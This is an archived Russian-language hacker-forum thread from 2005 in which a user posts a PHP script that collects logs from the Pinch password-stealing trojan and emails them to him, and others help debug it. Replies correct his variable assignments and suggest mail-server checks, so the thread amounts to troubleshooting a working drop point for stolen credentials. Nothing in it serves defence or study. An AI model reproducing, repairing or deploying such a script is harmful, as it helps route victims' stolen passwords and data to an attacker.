Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Помогите разоьраться в скрипте! (https://forum.antichat.xyz/showthread.php?t=9496)

SanyaX 17.09.2005 11:47

Помогите разоьраться в скрипте!
 
Значит так вот я скачал скрипт для отправки логов пинча на мыло.Да вот разобраться не могу.
Код:

<?
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg=$_POST['c'];
$tmp = $msg;
$msg=eregi_replace(" ","+",$tmp);
$headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
mail($email, $subject, $msg, $headers);
?>

<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>



Я так и посмотрел и подставил такие данные.

Код:

<?
$ip=getenv("REMOTE_ADDR");
$email=$_POST['Sanya@yandex.ru'];
$subject=$_POST['Theme']."(".$ip.")";
$msg=$_POST['Pinch'];
$tmp = $msg;
$msg=eregi_replace(" ","+",$tmp);
$headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
mail($email, $subject, $msg, $headers);
?>

<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>



Но он почему то не шлёт логи помогите мне скажите в чём моя ошибка.

KEZ 17.09.2005 12:10

Смотри конфиг php на своем сервере. php.ini.
Там есть настройки smtp-сервера. Походу дела либо настройки кривые, либо яндекс не пропускает письма.

Попробуй напиши скрипт:
PHP код:

<?php
  
print "Mail result is ".mail"SanyaX@yandex.ru""Subj""Text" );
?>

Выполни его на своем сервере (какие у тебя там права, кстати? root?). И если ничего не придет то проблема как я уже сказал или в яндексе или в php.ini

qBiN 17.09.2005 12:16

пиши велосипед...

SanyaX 17.09.2005 12:26

Kez я проверил твой скрипт письма приходят на мыло. Я говорю может я том скрипте что не правльно указал или не доуказал.

nerezus 17.09.2005 12:53

конечно неправильно

$email='Sanya@yandex.ru';
$subject='Theme'."(".$ip.")";
$msg='Pinch';

BymeR 01.01.2006 19:17

Ты бы этот код написал между [php] и закрывающим тегом,тебе бы сразу было легко свои ошиббки найти..помойму ты чёт напортачил со скриптом...Попробуй как нерезус говорит...Всё должно получиться...

max_pain89 01.01.2006 19:25

может я чего не понял, зачем $email=$_POST['Sanya@yandex.ru']; разве не $email='Sanya@yandex.ru';


Время: 14:14